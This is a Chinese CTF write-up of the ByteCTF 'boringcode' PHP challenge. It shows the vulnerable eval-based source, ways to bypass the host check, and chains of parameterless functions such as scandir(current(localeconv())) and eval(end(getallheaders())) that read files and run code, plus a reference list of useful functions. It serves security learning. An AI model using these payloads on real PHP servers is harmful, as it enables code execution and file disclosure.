PHP host检测绕过与无参数函数利用

ByteCTF boringcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
function is_valid_url($url) {
if (filter_var($url, FILTER_VALIDATE_URL)) {
if (preg_match('/data:\/\//i', $url)) {
return false;
}
return true;
}
return false;
}

if (isset($_POST['url'])){
$url = $_POST['url'];
if (is_valid_url($url)) {
$r = parse_url($url);
if (preg_match('/baidu\.com$/', $r['host'])) {
$code = file_get_contents($url);
if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
echo 'bye~';
} else {
eval($code);
}
}
} else {
echo "error: host not allowed";
}
} else {
echo "error: invalid url";
}
}else{
highlight_file(__FILE__);
}

绕过host检测

题目中检测url的代码:

1
2
3
4
if (is_valid_url($url)) {
$r = parse_url($url);
if (preg_match('/baidu\.com$/', $r['host'])) {
$code = file_get_contents($url);

首先,将传入的参数通过is_valid_url函数进行检测:

1
2
3
4
5
6
7
8
9
function is_valid_url($url) {
if (filter_var($url, FILTER_VALIDATE_URL)) {
if (preg_match('/data:\/\//i', $url)) {
return false;
}
return true;
}
return false;
}

其会检测url格式的合法性,且不能使用data://协议;最后执行的代码为获取的这个url的内容

相关函数:

filter_var — 使用特定的过滤器过滤一个变量;Returns the filtered data, or FALSE if the filter fails. 

1.如果没有过滤data://,此时可使用此协议来绕过:

2.如果没有使用is_valid_url来判断url是否合法的话,可以使用ftp://协议:

3.这道题可以使用注册域名,或者使用baidu的子域名平台存在跳转的方法来绕过(相关文章)

无参数函数利用

绕过host检测后,有个正则匹配:

if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) 

使用在线正则表达式检测:

(?R)?的意思是递归整个模式(不懂-_-);正则的意思是只能使用hello()这种以字母开头的函数或者嵌套函数,且函数中不能有参数

首先可以使用scandir()获取当前目录的文件信息,但是该函数需要一个参数,传入参数.可以获取当前目录的信息,那么需要找到可以构造出.的函数:

localeconv()   函数返回一包含本地数字及货币格式信息的数组。

那么:

?code=echo(end(scandir(current(localeconv()))));

便可获取当前目录的最后一个文件名;当然,可以使用array_rand()随机获取当前目录文件名.

之后需要构造出..,由于scandir()所返回的数组中的前两个值为...,因此可使用next()来获取..,再配合chdir()便可切换到上一级目录

?code=echo(chdir(next(scandir(current(localeconv())))));

但是,chdir()成功切换目录后,会返回1,如果想要继续读取文件目录信息,就要利用这个1,使函数配合参数1构造出.

方法一

使用if()函数:

?code=if(chdir(next(scandir(current(localeconv())))))echo(end(scandir(current(localeconv()))));
方法二

使用函数构造出数字46,即.的ascii码;再用chr()函数将其转换为.

1.使用localtime()函数:

localtime() 以数组形式返回本地时间, 数组键名:

    [tm_sec] - 秒数
    [tm_min] - 分钟数
    [tm_hour] - 小时

localtime()函数只接收时间戳,因此可使用time()函数,time()函数不会受参数的影响,那么便可构造:

?code=echo(chr(current(localtime(time(chdir(next(scandir(current(localeconv()))))))));

在每分钟的第46秒时便可获取小数点,不过这种方法要不停刷新页面才能获取到,比较费劲

2.使用数学函数构造出46:

?code=echo(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))));

通过本地fuzz,此时php版本为4、5、或7,都可以得到46

3.使用hash函数构造出46:

?code=echo(chr(ord(hebrevc(crypt(phpversion())))));
?code=echo(chr(ord(strrev(crypt(serialize(array()))))));

crypt()函数返回使用 DES、Blowfish 或 MD5 算法加密的字符串,有概率在字符串末尾出现.,因此使用strrevhebrevc将字符串进行翻转,在用ord()取第一个字符的ascii码,再用chr()转换为字符即可

无参数函数RCE

上面只是使用无参数函数读取文件内容,如果上面的题目没有正则检测,那要如何来getshell呢?

getallheaders()

在apache环境,使用getallheaders()可以接收http请求头(本地测试失败-_-),因此将恶意代码放在http请求头中,再构造eval函数去执行即可,例如:

?code=eval(end(getallheaders()));

此时,在http头部最后一个位置写上:

shell: phpinfo();

即可看到执行phpinfo()的结果

get_defined_vars()

使用该函数,可以返回当前环境定义的变量,包括超全局变量:

此时,可以利用$_GET``$_POST``$_FILES``$_COOKIE这些超全局变量,例如使用$_GET

session_id()

使用session_id()配合session_start()来获取cookie中定义的SESSID的值:

无参数函数使用总结

对文件、目录、文件内容操作

getcwd() 函数返回当前工作目录。
scandir() 函数返回指定目录中的文件和目录的数组。
dirname() 函数返回路径中的目录部分。
chdir() 函数改变当前的目录。
readfile()  返回文件内容
highlight_file() 高亮显示文件内容
show_source() 高亮显示文件内容

操作数组

current() 返回数组中的当前单元, 默认取第一个`元素`
pos() current() 的别名
next() 函数将内部指针指向数组中的下一个元素,并输出。
end() 将内部指针指向数组中的最后一个`元素`,并输出。
array_rand() 函数返回数组中的随机`键名`,或者如果您规定函数返回不只一个键名,则返回包含随机键名的数组。
array_flip() array_flip() 函数用于反转/交换数组中所有的键名以及它们关联的键值。

字符形式转换

chr() 函数从指定的 ASCII 值返回字符。
hex2bin() 转换十六进制字符串为二进制字符串
ord() 将指定的ASCII字符返回十进制值。如果参数为字符串,则只取首字符

获取环境变量

getenv() 获取一个环境变量的值(在7.1之后可以不给予参数)

获取请求头内容

getallheaders() 

该函数只能在apache环境下使用;Fetches all HTTP headers from the current request.

7.3.0     This function became available in the FPM SAPI.
5.5.7     This function became available in the CLI server.
5.4.0     This function became available under FastCGI.

获取已定义的函数/变量

get_defined_vars() 获取已定义的变量
get_defined_functions() 获取已定义的函数

对cookie/session操作

session_id(session_start()) 开启一个新会话或重用一个现有会话,并获取SESSID

参考:

https://xz.aliyun.com/t/6316#toc-3

https://mp.weixin.qq.com/s/q68pMw1qcU7FDSVvXl3szg

https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE